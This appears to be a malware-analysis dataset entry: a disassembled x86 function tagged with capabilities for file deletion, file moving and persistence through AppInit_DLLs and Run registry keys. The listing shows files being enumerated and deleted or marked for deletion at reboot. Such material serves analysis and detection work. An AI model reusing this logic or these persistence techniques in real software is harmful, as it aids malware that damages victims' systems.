Function at 0x436050
Capabilities:
Delete file
Move file
Persist via appinit_dlls registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x110], 0x104
mov dword [ebp - 0x21c], 0x104
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x218]
push edx
push 0x4db5d0
push 0x4db5e0
push SysStringLen
call fcn.0043ae50
mov ecx, eax
call fcn.0043b06b
test eax, eax
jne 0x4360bd
cmp dword [ebp - 0x218], 1
jne 0x4360bd
cmp dword [ebp - 0x21c], 0
ja 0x4360c9
cmp dword [ebp - 0x21c], 0x104
jbe 0x436117
lea eax, [ebp - 0x214]
push eax
call fcn.00436a20
add esp, 4
push 0x4db618
lea ecx, [ebp - 0x214]
push ecx
call fcn.00416610
add esp, 8
test eax, eax
jne 0x4360fc
cmp dword [ebp - 0x21c], 0x104
jbe 0x436117
push 0x4db624
push 0x4db634
push SysStringLen
call fcn.0043ae50
mov ecx, eax
call fcn.0043b3de
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 4]
push ecx
push 0x4db66c
push 0x4db67c
push SysStringLen
call fcn.0043ae50
mov ecx, eax
call fcn.0043b06b
test eax, eax
jne 0x43625c
cmp dword [ebp - 4], 1
jne 0x43625c
lea edx, [ebp - 0x108]
push edx
call sub.ntdll.dll_strlen
add esp, 4
lea eax, [ebp + eax - 0x108]
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x220]
mov byte [ecx], 0x5c
mov edx, dword [ebp - 0x220]
add edx, 1
mov dword [ebp - 0x220], edx
push 0x4db6c0
push 0x104
mov eax, dword [ebp - 0x220]
push eax
call fcn.00409190
lea ecx, [ebp - 0x364]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [0x5429a8]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x43625c
mov eax, dword [ebp - 0x364]
and eax, 0x10
test eax, eax
jne 0x436233
mov dword [ebp - 0x10c], 1
lea ecx, [ebp - 0x338]
push ecx
push 0x104
mov edx, dword [ebp - 0x220]
push edx
call fcn.00409190
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [0x5429a0]
lea ecx, [ebp - 0x108]
push ecx
call dword [0x542978]
push 4
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x108]
push eax
call dword [0x542978]
lea ecx, [ebp - 0x364]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [0x542974]
test eax, eax
jne 0x4361c7
mov eax, dword [ebp - 0x224]
push eax
call dword [0x542988]
mov dword [ebp - 0x110], 0x104
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 4]
push eax
push 0x4db6c8
push 0x4db6d0
push closesocket
call fcn.0043ae50
mov ecx, eax
call fcn.0043b06b
test eax, eax
jne 0x4363ab
cmp dword [ebp - 4], 1
jne 0x4363ab
lea ecx, [ebp - 0x108]
push ecx
call sub.ntdll.dll_strlen
add esp, 4
lea edx, [ebp + eax - 0x108]
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x368]
mov byte [eax], 0x5c
mov ecx, dword [ebp - 0x368]
add ecx, 1
mov dword [ebp - 0x368], ecx
push 0x4db714
push 0x104
mov edx, dword [ebp - 0x368]
push edx
call fcn.00409190
lea eax, [ebp - 0x4ac]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [0x5429a8]
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0xffffffff
je 0x4363ab
mov edx, dword [ebp - 0x4ac]
and edx, 0x10
test edx, edx
jne 0x436382
mov dword [ebp - 0x10c], 1
lea eax, [ebp - 0x480]
push eax
push 0x104
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.00409190
push 0x80
lea edx, [ebp - 0x108]
push edx
call dword [0x5429a0]
lea eax, [ebp - 0x108]
push eax
call dword [0x542978]
push 4
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [ebp - 0x108]
push edx
call dword [0x542978]
lea eax, [ebp - 0x4ac]
push eax
mov ecx, dword [ebp - 0x36c]
push ecx
call dword [0x542974]
test eax, eax
jne 0x436316
mov edx, dword [ebp - 0x36c]
push edx
call dword [0x542988]
mov esp, ebp
pop ebp
ret